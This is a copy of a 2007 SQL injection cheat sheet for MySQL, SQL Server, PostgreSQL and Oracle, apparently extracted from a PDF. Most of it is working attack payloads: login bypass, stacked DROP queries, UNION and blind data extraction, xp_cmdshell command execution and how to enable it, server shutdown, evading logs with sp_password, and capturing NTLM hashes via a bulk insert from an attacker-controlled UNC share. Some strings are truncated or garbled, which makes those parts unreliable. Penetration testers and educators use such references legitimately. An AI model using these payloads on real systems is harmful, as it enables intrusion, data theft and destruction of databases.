Download SQL Injection Cheat Sheet and more Study Guides, Projects, Research Japanese Language in PDF only on Docsity!
SQL Injection Cheat Sheet
SQL Injection Cheat Sheet, Document Version 1.
About SQL Injection Cheat Sheet
Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.
Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself.
M : MySQL
S : SQL Server
P : PostgreSQL
O : Oracle
+ : Possibly all other databases
Examples;
- (MS) means : MySQL and SQL Server etc.
- (M*S) means : Only in some versions of MySQL or special conditions see related note and SQL Server
Table Of Contents
- About SQL Injection Cheat Sheet
- Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks
- Line Comments SQL Injection Attack Samples
- Inline Comments Classical Inline Comment SQL Injection Attack Samples MySQL Version Detection Sample Attacks
- Stacking Queries Language / Database Stacked Query Support Table About MySQL and PHP Stacked SQL Injection Attack Samples
- If Statements MySQL If Statement SQL Server If Statement If Statement SQL Injection Attack Samples
- Using Integers
- String Operations String Concatenation
- Strings without Quotes Hex based SQL Injection Samples
- String Modification & Related
- Union Injections UNION – Fixing Language Issues
- Bypassing Login Screens
- Enabling xp_cmdshell in SQL Server 2005
- Other parts are not so well formatted but check out by yourself, drafts, notes and stuff, scroll down and see.
Syntax Reference, Sample Attacks and Dirty SQL
Injection Tricks
Ending / Commenting Out / Line Comments
Line Comments
Comments out rest of the query. Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
• -- (SM)
DROP sampletable;--
Line Comments Sample SQL Injection Attacks
- Username: admin'--
- SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing blacklisting , removing spaces, obfuscating and determining database versions.
- /Comment Here/ (SM)
- DROP/comment/sampletable
- DR//OP/bypass blacklisting/sampletable
- SELECT/avoid-spaces/password//FROM//Members
- /*! MYSQL Special SQL */ (M) This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.
not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?
Stacked SQL Injection Attack Samples
- ID: 10;DROP members --
- SELECT * FROM products WHERE id = 10; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection , also can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
- IF( condition , true-part , false-part ) (M) SELECT IF(1=1,'true','false')
SQL Server If Statement
- IF condition true-part ELSE false-part (S) IF (1=1) SELECT 'true' ELSE SELECT 'false'
If Statement SQL Injection Attack Samples
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S) This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters , or even WAFs.
- 0x HEXNUMBER (SM) You can write hex like these;
SELECT CHAR(0x66) (S) SELECT 0x5045 ( this is not an integer it will be a string from Hex ) (M) SELECT 0x50 + 0x45 ( this is integer now! ) (M)
String Operations
String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.
String Concatenation
• + (S)
SELECT login + '-' + password FROM members
- || (*MO) SELECT login || '-' || password FROM members
*About MySQL "||"; If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as logical operator it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
- CONCAT(str1, str2, str3, ...) (M) Concatenate supplied strings. SELECT CONCAT(login, password) FROM members
Strings without Quotes
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.
- 0x457578 (M) - Hex Representation of string SELECT 0x This will be selected as string in MySQL.
In MySQL easy way to generate hex representations of strings use this; SELECT CONCAT('0x',HEX('c:\boot.ini'))
- Using CONCAT() in MySQL SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) This will return ‘KLM’.
- SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) This will return ‘KLM’.
Hex based SQL Injection Samples
- SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) This will show the content of c:\boot.ini
String Modification & Related
• ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.
SELECT ASCII('a')
- CHAR() (SM) Convert an integer of ASCII.
SELECT CHAR(64)
If application is first getting the record by username and then compare returned MD with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.
Bypassing MD5 Hash Check Example (MSP)
Username : admin Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Error Based - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)
In the same order,
- ' HAVING 1=1 --
- ' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -
- ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- and so on
- If you are not getting any more error then it's done.
Finding how many columns in SELECT query by ORDER BY (MSO+)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
- ORDER BY 1--
- ORDER BY 2--
- ORDER BY N-- so on
- Keep going until get an error. Error means you found the number of selected columns.
Data types, UNION, etc.
Hints,
- Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
- To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query ( if injection is in WHERE ). This can be critical if you are only getting one result at a time.
- Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc. o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values ( because normally developers are not expecting to see NULL in a username field )
Finding Column Type
- ' union select sum( columntofind ) from users -- (S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
If you are not getting error it means column is numeric.
- Also you can use CAST() or CONVERT() o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
- UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- No Error - Syntax is right. MS SQL Server Used. Proceeding.
- UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- No Error – First column is an integer.
- UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- Error! – Second column is not an integer.
- UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- No Error – Second column is a string.
- UNION SELECT 1,’2’,3,NULL WHERE 1=2 –- Error! – Third column is not an integer. ...
Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.
You’ll get convert() errors before union target errors! So start with convert() then union
Simple Insert (MSO+)
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
Useful Function / Information Gathering / Stored Procedures / Bulk SQL
Injection Notes
@@version (MS) Version of database and more details for SQL Server. It's a constant. You can just select
- Linked Servers master..sysservers
- Password ( 2000 and 20005 both can be crackable, they use very similar hashing algorithm ) SQL Server 2000: masters..sysxlogins SQL Server 2005 : sys.sql_logins
More Stored Procedures for SQL Server (S)
- Cmd Execute ( xp_cmdshell ) exec master..xp_cmdshell 'dir'
- Registry Stuff ( xp_regread )
- xp_regaddmultistring
- xp_regdeletekey
- xp_regdeletevalue
- xp_regenumkeys
- xp_regenumvalues
- xp_regread
- xp_regremovemultistring
- xp_regwrite exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommuniti es'
- Managing Services ( xp_servicecontrol )
- Medias ( xp_availablemedia )
- ODBC Resources ( xp_enumdsn )
- Login mode ( xp_loginconfig )
- Creating Cab Files ( xp_makecab )
- Domain Enumeration ( xp_ntsec_enumdomains )
- Process Killing ( need PID ) ( xp_terminate_process )
- Add new procedure ( virtually you can execute whatever you want ) sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver
- Write text file to a UNC or an internal path (sp_makewebtask)
MSSQL Bulk Notes
SELECT * FROM master..sysprocesses /WHERE spid=@@SPID/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/
HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL) OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en- us/library/ms190312.aspx
You can not use sub selects in SQL Server Insert queries.
SQL Injection in LIMIT (M) or ORDER (MSO)
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
Shutdown SQL Server (S)
When you really pissed off, ';shutdown --
Enabling xp_cmdshell in SQL Server 2005
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.
EXEC sp_configure 'show advanced options', RECONFIGURE
EXEC sp_configure 'xp_cmdshell', RECONFIGURE
Finding Database Structure in SQL Server (S)
Getting User defined Tables
SELECT name FROM sysobjects WHERE xtype = 'U'
Getting Column Names
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
Moving records (S)
- Modify WHERE and use NOT IN or NOT EXIST , ... WHERE users NOT IN ('First User', 'Second User') SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
- Using Dirty Tricks SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from
xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is P. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY 'time' (S)
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
- Are we 'sa'? if (select user) = 'sa' waitfor delay '0:0:10'
- ProductID = 1;waitfor delay '0:0:10'--
- ProductID =1);waitfor delay '0:0:10'--
- ProductID =1';waitfor delay '0:0:10'--
- ProductID =1');waitfor delay '0:0:10'--
- ProductID =1));waitfor delay '0:0:10'--
- ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
- Are we root? woot! IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
- Check Table exist in MySQL IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
- SELECT pg_sleep(10); Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs ( of course still will be in web server logs , try to use POST if it's possible )
o select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
- MD5() MD5 Hashing
- SHA1() SHA1 Hashing
- PASSWORD()
- ENCODE()
- COMPRESS() Compress data, can be great in large binary reading in Blind SQL Injections.
- ROW_COUNT()
- SCHEMA()
- VERSION() Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name : ' + (SELECT TOP 1 password FROM users ) + ' Email : [email protected]
If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
Bulk insert from a UNC Share (S) bulk insert foo from '\YOURIPADDRESS\C$\x.txt'
Check out Bulk Insert Reference to understand how can you use bulk insert.
References
Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then drop me an email (ferruh-at-mavituna.com), I'll update it as soon as possible.
o Advanced SQL Injection In SQL Applications, Chris Anley o More Advanced SQL Injection In SQL Applications, Chris Anley o Blindfolded SQL Injection, Ofer Maor – Amichai Shulman o Hackproofing MySQL, Chris Anley o Database Hacker's Handbook, David Litchfield, Chris Anley, John Heasman, Bill Grindlay o Upstairs Team!
- MSSQL Related o MSSQL Operators - http://msdn2.microsoft.com/en- us/library/aa276846(SQL.80).aspx o Transact-SQL Reference - http://msdn2.microsoft.com/en- us/library/aa299742(SQL.80).aspx o String Functions (Transact-SQL) - http://msdn2.microsoft.com/en- us/library/ms181984.aspx o List of MSSQL Server Collation Names - http://msdn2.microsoft.com/en-us/library/ms180175.aspx o MSSQL Server 2005 Login Information and some other functions : Sumit Siddharth
- MySQL Related o Comments : http://dev.mysql.com/doc/ o Control Flows - http://dev.mysql.com/doc/refman/5.0/en/control-flow- functions.html o MySQL Gotchas - http://sql-info.de/mysql/gotchas.htm o New SQL Injection Concept, Tonu Samuel
ChangeLog
- 15/03/2007 - Public Release v1.
- 16/03/2007 - v1. o Links added for some paper and book references o Collation sample added o Some typos fixed o Styles and Formatting improved o New MySQL version and comment samples o PostgreSQL Added to Ascii and legends, pg_sleep() added blind section o Blind SQL Injection section and improvements, new samples o Reference paper added for MySQL comments
- 21/03/2007 - v1. o BENCHMARK() sample changed to avoid people DoS their MySQL Servers o More Formatting and Typo o Descriptions for some MySQL Function
- 30/03/2007 v1. o Niko pointed out PotsgreSQL and PHP supports stacked queries o Bypassing second MD5 check login screens description and attack added o Mark came with extracting NTLM session idea, added o Detailed Blind SQL Exploitation added
- 13/04/2007 v1.4 - Release
